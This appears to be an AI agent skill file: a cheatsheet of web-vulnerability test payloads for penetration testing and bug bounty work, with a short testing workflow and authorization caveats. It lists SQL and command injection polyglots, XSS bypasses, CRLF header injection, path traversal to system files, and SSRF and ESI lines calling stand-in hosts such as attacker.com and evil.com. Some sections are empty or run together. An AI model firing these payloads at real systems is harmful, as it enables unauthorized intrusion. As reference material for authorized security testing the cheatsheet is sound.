| name | web-vulns-cheatsheet |
| description | Web vulnerability payloads and testing techniques for security assessments. Use this skill whenever the user is doing penetration testing, bug bounty hunting, security research, or needs web vulnerability payloads (SQL injection, XSS, path traversal, SSRF, SSTI, etc.). Trigger on requests for exploit payloads, vulnerability testing, security audit help, or when analyzing web application security. |
Web Vulnerabilities Cheatsheet
A comprehensive reference for web vulnerability payloads and testing techniques. Use this during security assessments, penetration testing, or bug bounty hunting.
Quick Reference by Vulnerability Type
SQL Injection
Time-based blind SQLi payloads:
1;sleep(9);# - MySQL';sleep(9);# - MySQL with quote";sleep(9);# - MySQL with double quote/*$(sleep 5) - Unix command injection variant/*sleep 5``*/` - Backtick variant
Polyglot payloads (work across multiple contexts):
{{7*7}}[7*7]
1;sleep${IFS}9;#${IFS}';sleep${IFS}9;#${IFS}";sleep${IFS}9;#${IFS}
/*$(sleep 5)`sleep 5``*/-sleep(5)-'/*$(sleep 5)`sleep 5` #*/-sleep(5)||'"||sleep(5)||"/*`*/
Cross-Site Scripting (XSS)
Basic XSS payloads:
<script>alert(1)</script><img src=x onerror=alert(1)>javascript:alert(1)" onclick=alert(1)//
Advanced XSS bypasses:
javascript:"/*'/*`/*--></noscript></title></textarea></style></template></noembed></script><html " onmouseover=/*<svg/*/onload=alert()//>
-->'"/></sCript><deTailS open x=">" ontoggle=(co\u006efirm)``>
"><marquee><img src=x onerror=confirm(1)></marquee>"
"><img/id="confirm( 1)"/alt="/"src="/"onerror=eval(id&%23x29;>
XSS with HTTP header injection:
%0d%0aLocation:%20http://attacker.com
%3f%0d%0aLocation:%0d%0aContent-Type:text/html%0d%0aX-XSS-Protection%3a0%0d%0a%0d%0a%3Cscript%3Ealert%28document.domain%29%3C/script%3E
%0d%0aContent-Length:%200%0d%0a%0d%0aHTTP/1.1%20200%20OK%0d%0aContent-Type:%20text/html%0d%0aContent-Length:%2025%0d%0a%0d%0a%3Cscript%3Ealert(1)%3C/script%3E
Path Traversal
Unix/Linux paths:
/etc/passwd/etc/hostname/../../../../../../etc/hosts
Windows paths:
C:/windows/system32/drivers/etc/hosts..\\..\\..\\..\\..\\..\\windows/system32/drivers/etc/hosts
Mixed traversal patterns:
..\\..\\..\\..\\..\\..\\etc/hosts..\\..\\..\\..\\..\\..\\windows/system32/drivers/etc/hosts
Server-Side Request Forgery (SSRF)
External resource access:
http://asdasdasdasd.burpcollab.com/mal.php\\asdasdasdasd.burpcollab.com/mal.php
Domain bypass techniques:
www.whitelisted.com.evil.com - Subdomain injection//google.com - Protocol-relative bypass
Server-Side Template Injection (SSTI)
Template engine detection:
{{7*7}}${7*7}<%= 7*7 %>${{7*7}}#{7*7}${{<%[%'"}}%
Jinja2/Python SSTI:
{{7*7}} - Basic expression${{7*7}} - Nested syntax
ASP/Classic ASP:
Ruby ERB:
XML External Entity (XXE)
XSLT-based XXE:
<xsl:value-of select="system-property('xsl:version')" />
<esi:include src="http://10.10.10.10/data/news.xml" stylesheet="http://10.10.10.10//news_template.xsl"></esi:include>
Server-Side Include (SSI)
SSI injection:
<esi:include src=http://attacker.com/>
Regular Expression Denial of Service (ReDoS)
Vulnerable regex patterns:
(\w*)+$ - Catastrophic backtracking([a-zA-Z]+)*$ - Nested quantifiers((a+)+)+$ - Multiple nested groups
Testing Workflow
1. Reconnaissance
- Identify input vectors (URL parameters, POST data, headers, cookies)
- Map application technology stack
- Check for WAF/IPS presence
2. Payload Testing
- Start with simple payloads to confirm vulnerability
- Escalate to complex payloads for exploitation
- Test polyglot payloads for context-independent injection
3. Verification
- Use time-based delays for blind vulnerabilities
- Check for out-of-band callbacks (burpcollab)
- Verify file access for path traversal
- Confirm code execution for SSTI/SSRF
4. Documentation
- Record successful payloads
- Note application behavior
- Capture evidence (screenshots, logs)
Important Notes
Legal & Ethical:
- Only test systems you have explicit authorization to assess
- Document all findings for responsible disclosure
- Follow bug bounty program rules and scope
Safety:
- Test in isolated environments when possible
- Avoid destructive payloads in production
- Use time-based detection over data exfiltration during initial testing
Context Matters:
- Payloads may need encoding based on context (URL, HTML, JavaScript)
- WAFs may block common patterns - try variations
- Application-specific filters may require custom payloads
When to Use This Skill
Use this skill when:
- Conducting authorized penetration tests
- Participating in bug bounty programs
- Learning web security concepts
- Needing quick reference for vulnerability payloads
- Analyzing web application security issues
- Preparing security assessments
Do NOT use this skill for:
- Unauthorized access to systems
- Malicious activities
- Testing without proper authorization
- Any illegal purposes
